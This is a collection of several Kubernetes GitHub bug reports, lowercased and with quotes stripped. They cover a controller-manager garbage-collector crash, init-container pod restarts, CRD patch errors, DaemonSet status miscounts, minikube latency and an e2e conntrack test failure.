configuration  : openstack\r -   os    e.g. from /etc/os-release : \r    \r name=\ container linux by coreos\ \r id=coreos\r version=1235.9.0\r version_id=1235.9.0\r build_id=2017-02-02-0235\r pretty_name=\ container linux by coreos 1235.9.0  ladybug \ \r ansi_color=\ 38;5;75\ \r home_url=\ https://coreos.com/\ \r bug_report_url=\ https://github.com/coreos/bugs/issues\ \r    \r -   kernel    e.g.  uname -a  :  linux kubernetes-kubernetes-zone2-0-1489429353 4.7.3-coreos-r2  1 smp thu feb 2 02:26:10 utc 2017 x86_64 intel xeon e3-12xx v2  ivy bridge  genuineintel gnu/linux \r -   install tools  : custom/self-hosted\r -   others  :\r \r \r   what happened  :\r upgraded to v1.6.0-beta.3\r the controller-manager now exits with an error:\r    \r i0315 09:53:04.487779       1 leaderelection.go:179  attempting to acquire leader lease...\r i0315 09:53:20.180799       1 leaderelection.go:189  successfully acquired lease kube-system/kube-controller-manager\r i0315 09:53:20.183242       1 event.go:217  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ 108ccd1a-088f-11e7-a3e3-fa163ea3f702\ , apiversion:\ v1\ , resourceversion:\ 4993858\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' kube-controller-manager-1772421362-7hkj9 became leader\r i0315 09:53:20.292311       1 controllermanager.go:437  started \ resourcequota\ \r i0315 09:53:20.292407       1 resource_quota_controller.go:240  starting resource quota controller\r e0315 09:53:20.294995       1 util.go:45  metric for serviceaccount_controller already registered\r i0315 09:53:20.295061       1 controllermanager.go:437  started \ serviceaccount\ \r i0315 09:53:20.295133       1 serviceaccounts_controller.go:122  starting serviceaccount controller\r i0315 09:53:20.296259       1 controllermanager.go:437  started \ daemonset\ \r i0315 09:53:20.296423       1 daemoncontroller.go:199  starting daemon sets controller manager\r i0315 09:53:20.298282       1 controllermanager.go:437  started \ statefuleset\ \r i0315 09:53:20.298425       1 stateful_set.go:144  starting statefulset controller\r i0315 09:53:20.299062       1 controllermanager.go:437  started \ cronjob\ \r i0315 09:53:20.299171       1 cronjob_controller.go:95  starting cronjob manager\r i0315 09:53:20.301445       1 controllermanager.go:437  started \ endpoint\ \r e0315 09:53:20.404609       1 controllermanager.go:430  error starting \ garbagecollector\ \r f0315 09:53:20.404634       1 controllermanager.go:181  error running controllers: failed to start the generic garbage collector: no matches for {stable.k8s.psg.io v1 certificates}\r    \r \r the last line changes each crash:\r    \r f0315 10:04:10.781701       1 controllermanager.go:181  error running controllers: failed to start the generic garbage collector: no matches for {monitoring.coreos.com v1alpha1 prometheuses}\r    \r \r another slightly different crash:\r    \r i0315 10:09:15.988508       1 leaderelection.go:179  attempting to acquire leader lease...\r i0315 10:09:33.648559       1 leaderelection.go:189  successfully acquired lease kube-system/kube-controller-manager\r i0315 10:09:33.648700       1 event.go:217  event v1.objectreference{kind:\ endpoints\ , namespace:\ kube-system\ , name:\ kube-controller-manager\ , uid:\ 108ccd1a-088f-11e7-a3e3-fa163ea3f702\ , apiversion:\ v1\ , resourceversion:\ 4996554\ , fieldpath:\ \ } : type: 'normal' reason: 'leaderelection' kube-controller-manager-1772421362-7hkj9 became leader\r e0315 10:09:33.881597       1 util.go:45  metric for serviceaccount_controller already registered\r i0315 10:09:33.881761       1 controllermanager.go:437  started \ serviceaccount\ \r i0315 10:09:33.881881       1 serviceaccounts_controller.go:122  starting serviceaccount controller\r i0315 10:09:33.883229       1 controllermanager.go:437  started \ job\ \r i0315 10:09:33.885197       1 controllermanager.go:437  started \ deployment\ \r i0315 10:09:33.885362       1 deployment_controller.go:147  starting deployment controller\r i0315 10:09:33.885908       1 controllermanager.go:437  started \ replicaset\ \r i0315 10:09:33.886061       1 replica_set.go:155  starting replicaset controller\r i0315 10:09:33.886661       1 controllermanager.go:437  started \ disruption\ \r i0315 10:09:33.886859       1 disruption.go:269  starting disruption controller\r i0315 10:09:33.887294       1 controllermanager.go:437  started \ cronjob\ \r i0315 10:09:33.887425       1 cronjob_controller.go:95  starting cronjob manager\r i0315 10:09:33.889134       1 controllermanager.go:437  started \ podgc\ \r i0315 10:09:34.492059       1 controllermanager.go:437  started \ namespace\ \r i0315 10:09:34.492222       1 namespace_controller.go:189  starting the namespacecontroller\r i0315 10:09:34.492998       1 controllermanager.go:437  started \ ttl\ \r i0315 10:09:34.493126       1 ttlcontroller.go:117  starting ttl controller\r i0315 10:09:34.493991       1 controllermanager.go:437  started \ statefuleset\ \r w0315 10:09:34.494012       1 controllermanager.go:421  \ tokencleaner\  is disabled\r i0315 10:09:34.494167       1 stateful_set.go:144  starting statefulset controller\r i0315 10:09:34.494891       1 controllermanager.go:437  started \ replicationcontroller\ \r i0315 10:09:34.495000       1 replication_controller.go:150  starting rc manager\r i0315 10:09:34.495843       1 controllermanager.go:437  started \ resourcequota\ \r i0315 10:09:34.495951       1 resource_quota_controller.go:240  starting resource quota controller\r i0315 10:09:34.496627       1 controllermanager.go:437  started \ daemonset\ \r i0315 10:09:34.496753       1 daemoncontroller.go:199  starting daemon sets controller manager\r e0315 10:09:34.497214       1 certificates.go:38  failed to start certificate controller: open /etc/kubernetes/ca/ca.pem: no such file or directory\r w0315 10:09:34.497237       1 controllermanager.go:434  skipping \ certificatesigningrequests\ \r w0315 10:09:34.497247       1 controllermanager.go:421  \ bootstrapsigner\  is disabled\r i0315 10:09:34.497850       1 controllermanager.go:437  started \ endpoint\ \r e0315 10:09:34.597609       1 controllermanager.go:430  error starting \ garbagecollector\ \r f0315 10:09:34.597631       1 controllermanager.go:181  error running controllers: failed to start the generic garbage collector: no matches for {monitoring.coreos.com v1alpha1 alertmanagers}\r    \r \r   what you expected to happen  :\r the controller-manager to run\r \r   how to reproduce it    as minimally and precisely as possible :\r by the looks of it, use thirdpartyresources and upgrade to 1.6?\r \r   anything else we need to know  :\r \r

is this a bug report or feature request?    choose one :\r bug\r \r   kubernetes version    use  kubectl version  :\r master\r \r    \r client version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.538+67730881a6031f-dirty\ , gitcommit:\ 67730881a6031f4f6f24054ccab77b0d004f5dbc\ , gittreestate:\ dirty\ , builddate:\ 2017-06-11t00:44:56z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.0-alpha.0.538+67730881a6031f-dirty\ , gitcommit:\ 67730881a6031f4f6f24054ccab77b0d004f5dbc\ , gittreestate:\ dirty\ , builddate:\ 2017-06-11t00:44:56z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  :\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :  linux k82cn 4.4.0-31-generic  50-ubuntu smp wed jul 13 00:07:12 utc 2016 x86_64 x86_64 x86_64 gnu/linux \r -   install tools  :\r -   others  :\r \r \r   what happened  :\r the completed pods  with initcontainers  was restarted.\r \r    \r name        ready     status      restarts   age\r myapp-pod   0/1       completed   2          2m\r root@k82cn:~/k8s_test  kc get pods\r name        ready     status      restarts   age\r myapp-pod   0/1       completed   2          2m\r root@k82cn:~/k8s_test  kc get pods\r name        ready     status      restarts   age\r myapp-pod   0/1       completed   2          2m\r name        ready     status             restarts   age\r myapp-pod   0/1       crashloopbackoff   2          3m\r root@k82cn:~/k8s_test  kc get pods\r name        ready     status             restarts   age\r myapp-pod   0/1       crashloopbackoff   2          3m\r root@k82cn:~/k8s_test  kc get pods\r name        ready     status      restarts   age\r myapp-pod   0/1       completed   3          3m\r root@k82cn:~/k8s_test  kc get pods\r name        ready     status             restarts   age\r myapp-pod   0/1       crashloopbackoff   3          3m\r root@k82cn:~/k8s_test  kc get pods\r name        ready     status             restarts   age\r myapp-pod   0/1       crashloopbackoff   3          3m\r root@k82cn:~/k8s_test  kc get pods\r name        ready     status             restarts   age\r myapp-pod   0/1       crashloopbackoff   6          8m\r root@k82cn:~/k8s_test  kc get pods\r name        ready     status             restarts   age\r myapp-pod   0/1       crashloopbackoff   6          8m\r    \r \r   what you expected to happen  :\r the pod will not restart when it's completed.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r   start k8s locally by  ./hack/local-cluster-up.sh \r   create pods as follow yaml\r    yaml\r apiversion: v1\r kind: pod\r metadata:\r   name: myapp-pod\r   labels:\r     app: myapp\r spec:\r   containers:\r   - name: myapp-container\r     image: ubuntu:16.04\r     command:  'env' \r     envfrom:\r       - configmapref:\r           name: env-config\r   initcontainers:\r   - name: init-env\r     image: ubuntu:16.04\r     command:  'env' \r     envfrom:\r       - configmapref:\r           name: special-config\r    \r \r \r   anything else we need to know  :\r \r configmap is the example from configmap tutorial.\r

strategic merge patch   on crd object doesn't work.\r \r  $ kubectl patch postgres p1 -p '{\ spec\ :{\ donotpause\ :false}}' \r \r getting following error:\r    \r error from server: object 'kind' is missing in '{\ object\ :{\ apiversion\ :\ kubedb.com/v1alpha1\ ,\ kind\ :\ postgres\ ,\ metadata\ :{\ annotations\ :{\ kubectl.kubernetes.io/last-applied-configuration\ :\ {\\\ apiversion\\\ :\\\ kubedb.com/v1alpha1\\\ ,\\\ kind\\\ :\\\ postgres\\\ ,\\\ metadata\\\ :{\\\ annotations\\\ :{},\\\ name\\\ :\\\ p1\\\ ,\\\ namespace\\\ :\\\ demo\\\ },\\\ spec\\\ :{\\\ donotpause\\\ :false,\\\ init\\\ :{\\\ scriptsource\\\ :{\\\ gitrepo\\\ :{\\\ repository\\\ :\\\ https://github.com/k8sdb/postgres-init-scripts.git\\\ },\\\ scriptpath\\\ :\\\ postgres-init-scripts/run.sh\\\ }},\\\ storage\\\ :{\\\ accessmodes\\\ : \\\ readwriteonce\\\  ,\\\ resources\\\ :{\\\ requests\\\ :{\\\ storage\\\ :\\\ 50mi\\\ }},\\\ storageclassname\\\ :\\\ standard\\\ },\\\ version\\\ :9.5}}\ \ },\ clustername\ :\ \ ,\ creationtimestamp\ :\ 2017-09-20t07:19:17z\ ,\ deletiongraceperiodseconds\ :null,\ deletiontimestamp\ :null,\ generation\ :0,\ name\ :\ p1\ ,\ namespace\ :\ demo\ ,\ resourceversion\ :\ 3637\ ,\ selflink\ :\ \ ,\ uid\ :\ 039baa9d-9dd4-11e7-8b3f-08002709c846\ },\ spec\ :{\ donotpause\ :false,\ init\ :{\ scriptsource\ :{\ gitrepo\ :{\ repository\ :\ https://github.com/k8sdb/postgres-init-scripts.git\ },\ scriptpath\ :\ postgres-init-scripts/run.sh\ }},\ storage\ :{\ accessmodes\ : \ readwriteonce\  ,\ resources\ :{\ requests\ :{\ storage\ :\ 50mi\ }},\ storageclassname\ :\ standard\ },\ version\ :9.5}},\ spec\ :{\ donotpause\ :false}}'\r    \r \r but   merge patch   works on crd types.\r  $ kubectl patch postgres p1 -p '{\ spec\ :{\ donotpause\ :false}}' --type=\ merge\  \r \r \r i have used minikube\r - client version: v1.7.4\r - server version: v1.7.5\r \r \r registered crd  postgreses.kubedb.com \r    \r apiversion: apiextensions.k8s.io/v1beta1\r kind: customresourcedefinition\r metadata:\r   creationtimestamp: 2017-09-20t06:38:18z\r   labels:\r     app: kubedb\r   name: postgreses.kubedb.com\r   resourceversion: \ 193\ \r   selflink: /apis/apiextensions.k8s.io/v1beta1/customresourcedefinitions/postgreses.kubedb.com\r   uid: 49ce4e1a-9dce-11e7-8b3f-08002709c846\r spec:\r   group: kubedb.com\r   names:\r     kind: postgres\r     listkind: postgreslist\r     plural: postgreses\r     shortnames:\r     - pg\r     singular: postgres\r   scope: namespaced\r   version: v1alpha1\r status:\r   acceptednames:\r     kind: postgres\r     listkind: postgreslist\r     plural: postgreses\r     shortnames:\r     - pg\r     singular: postgres\r   conditions:\r   - lasttransitiontime: null\r     message: no conflicts found\r     reason: noconflicts\r     status: \ true\ \r     type: namesaccepted\r   - lasttransitiontime: 2017-09-20t06:38:18z\r     message: the initial names have been accepted\r     reason: initialnamesaccepted\r     status: \ true\ \r     type: established\r    \r \r postgres object  p1 \r    \r apiversion: kubedb.com/v1alpha1\r kind: postgres\r metadata:\r   annotations:\r     kubectl.kubernetes.io/last-applied-configuration: |\r       {\ apiversion\ :\ kubedb.com/v1alpha1\ ,\ kind\ :\ postgres\ ,\ metadata\ :{\ annotations\ :{},\ name\ :\ p1\ ,\ namespace\ :\ demo\ },\ spec\ :{\ donotpause\ :false,\ init\ :{\ scriptsource\ :{\ gitrepo\ :{\ repository\ :\ https://github.com/k8sdb/postgres-init-scripts.git\ },\ scriptpath\ :\ postgres-init-scripts/run.sh\ }},\ storage\ :{\ accessmodes\ : \ readwriteonce\  ,\ resources\ :{\ requests\ :{\ storage\ :\ 50mi\ }},\ storageclassname\ :\ standard\ },\ version\ :9.5}}\r   clustername: \ \ \r   creationtimestamp: 2017-09-20t07:19:17z\r   deletiongraceperiodseconds: null\r   deletiontimestamp: null\r   generation: 0\r   name: p1\r   namespace: demo\r   resourceversion: \ 3637\ \r   selflink: /apis/kubedb.com/v1alpha1/namespaces/demo/postgreses/p1\r   uid: 039baa9d-9dd4-11e7-8b3f-08002709c846\r spec:\r   donotpause: true\r   init:\r     scriptsource:\r       gitrepo:\r         repository: https://github.com/k8sdb/postgres-init-scripts.git\r       scriptpath: postgres-init-scripts/run.sh\r   storage:\r     accessmodes:\r     - readwriteonce\r     resources:\r       requests:\r         storage: 50mi\r     storageclassname: standard\r   version: 9.5\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  \r > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r i have 20 nodes, which all statify with daemonset.\r so 20 daemonset pods should run normally.\r while i restart some of these nodes, not counting times, and when i recheck the daemonset pods.\r i found that  kubectl describe ds  and  kubectl get ds  both went wrong.\r and 20 daemonset pod keep running.\r \r here is the print of above:\r    shell\r  root@node-4:~ $ kubectl get nodes --show-labels\r name            status    age       labels\r 197.168.0.100   ready     30d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.100,privilege=true\r 197.168.0.101   ready     30d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.101,privilege=true\r 197.168.0.102   ready     30d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.102,privilege=true\r 197.168.0.103   ready     22d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.103,privilege=true\r 197.168.0.104   ready     30d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.104,privilege=true\r 197.168.0.117   ready     19d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.117,privilege=true\r 197.168.0.118   ready     19d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.118,privilege=true\r 197.168.0.119   ready     19d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.119,privilege=true\r 197.168.0.120   ready     19d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.120,privilege=true\r 197.168.0.133   ready     5d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.133,privilege=true\r 197.168.0.134   ready     4d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.134\r 197.168.0.135   ready     4d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.135\r 197.168.0.136   ready     4d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.136\r 197.168.0.139   ready     2d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.139,privilege=true\r 197.168.0.140   ready     2d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.140,privilege=true\r 197.168.0.141   ready     2d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.141,privilege=true\r 197.168.0.142   ready     2d        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.142,privilege=true\r 197.168.0.148   ready     2h        beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.148,privilege=true\r 197.168.0.56    ready     57d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.56,privilege=true\r 197.168.0.57    ready     57d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.57,privilege=true\r 197.168.0.58    ready     57d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.58\r 197.168.0.67    ready     50d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.67,privilege=true\r 197.168.0.68    ready     47d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.68,privilege=true\r 197.168.0.69    ready     47d       beta.kubernetes.io/arch=amd64,beta.kubernetes.io/os=linux,dpdk=true,flavor=8core18432mb100gb,kubernetes.io/hostname=197.168.0.69,privilege=true\r \r  root@node-4:~ $ kubectl get pods -n admin -o wide\r name                                           ready     status    restarts   age       ip               node\r 183f3122-a082-40dd-877b-a86bdbe8c716-1-p65bt   1/1       running   0          1d        196.168.67.147   197.168.0.135\r 3d023e1b-929c-47e8-a13c-45b7d6547912-1-tq5pc   1/1       running   0          1d        196.168.67.158   197.168.0.135\r 557035be-ed24-40f9-a156-83ac764a3816-1-bmsxm   1/1       running   0          1d        196.168.67.160   197.168.0.135\r 7734b6c0-f2a3-451b-9a0a-cb6720e83fe6-1-gbfs2   1/1       running   0          1d        196.168.67.159   197.168.0.58\r 8c087768-3cb5-4d96-a16b-d80194436d27-1n9s1     1/1       running   0          2d        196.168.66.170   197.168.0.142\r 8c087768-3cb5-4d96-a16b-d80194436d27-25bd3     1/1       running   3          6d        196.168.68.4     197.168.0.100\r 8c087768-3cb5-4d96-a16b-d80194436d27-3q7ph     1/1       running   2          14d       196.168.68.25    197.168.0.102\r 8c087768-3cb5-4d96-a16b-d80194436d27-3s6f2     1/1       running   2          5d        196.168.66.184   197.168.0.133\r 8c087768-3cb5-4d96-a16b-d80194436d27-6jq86     1/1       running   0          2d        196.168.66.154   197.168.0.139\r 8c087768-3cb5-4d96-a16b-d80194436d27-7tf2q     1/1       running   3          18d       196.168.67.244   197.168.0.67\r 8c087768-3cb5-4d96-a16b-d80194436d27-8g27t     1/1       running   4          6d        196.168.66.3     197.168.0.101\r 8c087768-3cb5-4d96-a16b-d80194436d27-cqrrd     1/1       running   0          2h        196.168.68.135   197.168.0.148\r 8c087768-3cb5-4d96-a16b-d80194436d27-f6xgx     1/1       running   4          19d       196.168.60.75    197.168.0.117\r 8c087768-3cb5-4d96-a16b-d80194436d27-ff9v5     1/1       running   2          6d        196.168.68.98    197.168.0.119\r 8c087768-3cb5-4d96-a16b-d80194436d27-fvh67     1/1       running   1          8d        196.168.65.219   197.168.0.69\r 8c087768-3cb5-4d96-a16b-d80194436d27-grn7n     1/1       running   0          9d        196.168.63.9     197.168.0.56\r 8c087768-3cb5-4d96-a16b-d80194436d27-lkpw5     1/1       running   0          21h       196.168.68.27    197.168.0.140\r 8c087768-3cb5-4d96-a16b-d80194436d27-lrs4v     1/1       running   2          6d        196.168.64.255   197.168.0.104\r 8c087768-3cb5-4d96-a16b-d80194436d27-n905l     1/1       running   2          2d        196.168.68.102   197.168.0.141\r 8c087768-3cb5-4d96-a16b-d80194436d27-nl6x3     1/1       running   4          22d       196.168.64.63    197.168.0.68\r 8c087768-3cb5-4d96-a16b-d80194436d27-rvx1d     1/1       running   8          5d        196.168.68.173   197.168.0.103\r 8c087768-3cb5-4d96-a16b-d80194436d27-skbjk     1/1       running   1          18d       196.168.60.126   197.168.0.57\r 8c087768-3cb5-4d96-a16b-d80194436d27-tmmbd     1/1       running   5          6d        196.168.66.145   197.168.0.118\r 8c087768-3cb5-4d96-a16b-d80194436d27-v6z6c     1/1       running   0          16d       196.168.60.241   197.168.0.120\r a1747c20-0097-4597-b586-185e0319bff8-1-6l42l   1/1       running   0          1d        196.168.67.107   197.168.0.136\r a2b8ce68-fb7f-416b-9683-64dc4ceb879c-1-07hw8   1/1       running   0          1d        196.168.67.153   197.168.0.135\r ba02e5c9-e468-4168-8284-1fbbfac32fad-1-rt5t7   1/1       running   0          1d        196.168.67.144   197.168.0.134\r faf99e51-2e65-4762-bccb-5f4636194861-1-4673m   1/1       running   0          1d        196.168.67.142   197.168.0.134\r fb6a0f05-a01c-42a6-9266-339fca15a2e2-1-k6mvm   1/1       running   0          1d        196.168.67.161   197.168.0.58\r \r  root@node-4:~ $ kubectl describe ds 8c087768-3cb5-4d96-a16b-d80194436d27 -n admin\r name:           8c087768-3cb5-4d96-a16b-d80194436d27\r image s :       197.168.0.52:6666/admin/c0:v1.17.20.03.446f810\r selector:       name=8c087768-3cb5-4d96-a16b-d80194436d27\r node-selector:  dpdk=true,privilege=true\r labels:         ms_ins_id=8c087768-3cb5-4d96-a16b-d80194436d27\r desired number of nodes scheduled: 19\r current number of nodes scheduled: 19\r number of nodes misscheduled: 1\r pods status:    20 running / 0 waiting / 0 succeeded / 0 failed\r no events.\r \r \r  root@node-4:~ $ kubectl get ds -n admin\r name                                   desired   current   ready     node-selector              age\r 8c087768-3cb5-4d96-a16b-d80194436d27   19        19        19        dpdk=true,privilege=true   57d\r \r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r restart some of nodes.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.5.1\r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : centos 7\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

\r   bug report  :\r \r >  \r \r   what happened  :\r \r i am running a kubernetes cluster with 2 restify servers and 1 mysql service. these are run locally with minikube using virtualbox. 1 server is my api and another is my backend which speaks to the local mysql database.\r \r in my restify server i use the audit logger which tells me latency times of a request. looking at the code of restify, the audit logger tracks the latency of a request from when it is received to the moment it is sent back. therefore it isn't the moment the client has received the full response, but the time from when the api has received a request, to when it has started to send a response back.\r \r i'm using postman as my client. when i use postman to make a request to my api it says the latency is around 300 ms. however my audit logger from the api says it is only 200ms. 100ms seems like a big difference between my api and postman, considering this is all within the same computer.\r \r what could cause this difference in latency? note that the audit logger in my backend shows 100ms, but the audit logger of my api  which does close to 0 processing and is mostly a pass through layer , is showing 200ms, so it seems like there is another 100ms added between servers. again, 100ms for a request on the same computer seems fairly large no?\r \r in short, i'm seeing an addition 100ms - 200ms for each request on the same computer which seems extremely odd. what could be the cause of this?\r \r   what you expected to happen  :\r \r response times of the audit logger to match that of postman\r \r   anything else we need to know?  :\r \r   environment  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.0\ , gitcommit:\ d3ada0119e776222f11ec7945e6d860061339aad\ , gittreestate:\ clean\ , builddate:\ 2017-07-26t00:12:31z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r - cloud provider or hardware configuration:\r local virtualbox using minikube\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r darwin quills-macbook-pro.local 15.6.0 darwin kernel version 15.6.0: thu jun 23 18:25:34 pdt 2016; root:xnu-3248.60.10~1/release_x86_64 x86_64\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r \r the crd installation in https://github.com/kubernetes/kubernetes/blob/master/pkg/controller/volume/attachdetach/attach_detach_controller.go l671 does not specify validation.\r \r    go\r func  adc  attachdetachcontroller  installcrds   error {\r \tcrd := &apiextensionsv1beta1.customresourcedefinition{\r \t\tobjectmeta: metav1.objectmeta{\r \t\t\tname: csiapiv1alpha1.csidriverresourceplural + \ .\  + csiapiv1alpha1.groupname,\r \t\t},\r \t\tspec: apiextensionsv1beta1.customresourcedefinitionspec{\r \t\t\tgroup:   csiapiv1alpha1.groupname,\r \t\t\tversion: csiapiv1alpha1.schemegroupversion.version,\r \t\t\tscope:   apiextensionsv1beta1.clusterscoped,\r \t\t\tnames: apiextensionsv1beta1.customresourcedefinitionnames{\r \t\t\t\tplural: csiapiv1alpha1.csidriverresourceplural,\r \t\t\t\tkind:   reflect.typeof csiapiv1alpha1.csidriver{} .name  ,\r \t\t\t},\r \t\t},\r \t}\r    \r \r @liggitt pointed out lack of validation may cause issues with watchers and listers. so we validation should be added.\r \r /milestone v1.12\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r e2e test \  sig-network  network  it  should set tcp close_wait timeout\  failed like:\r    \r  sig-network  network\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/framework.go:22\r   should set tcp close_wait timeout  it \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/kube_proxy.go:50\r \r   expected error:\r       < errors.errorstring | 0xc421252080>: {\r           s: \ failed running \\\ sudo cat /proc/net/nf_conntrack | grep 'close_wait. dst=192.168.1.109. dport=11302' | tail -n 1| awk '{print $5}' \\\ : error getting signer for provider skeleton: 'error reading ssh key /home/ubuntu/.ssh/id_rsa: 'open /home/ubuntu/.ssh/id_rsa: no such file or directory''  exit code 0 \ ,\r       }\r       failed running \ sudo cat /proc/net/nf_conntrack | grep 'close_wait. dst=192.168.1.109. dport=11302' | tail -n 1| awk '{print $5}' \ : error getting signer for provider skeleton: 'error reading ssh key /home/ubuntu/.ssh/id_rsa: 'open /home/ubuntu/.ssh/id_rsa: no such file or directory''  exit code 0 \r   not to have occurred\r \r   /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/kube_proxy.go:191\r ------------------------------\r sssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssssep 15 01:16:26.843: info: running aftersuite actions on all node\r sep 15 01:16:26.843: info: running aftersuite actions on node 1\r \r \r summarizing 1 failure:\r \r  fail   sig-network  network  it  should set tcp close_wait timeout\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/network/kube_proxy.go:191\r    \r \r   what you expected to happen  :\r \r the test can run successfully.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just kick the following command:\r    \r $ go run hack/e2e.go -- --provider=skeleton --test --test_args=\ --ginkgo.focus=should\\sset\\stcp\\sclose_wait\\stimeout\ \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 16.04.4 lts\r - kernel  e.g.  uname -a  : 4.4.0-130-generic\r - install tools: kubeadm\r - others:\r

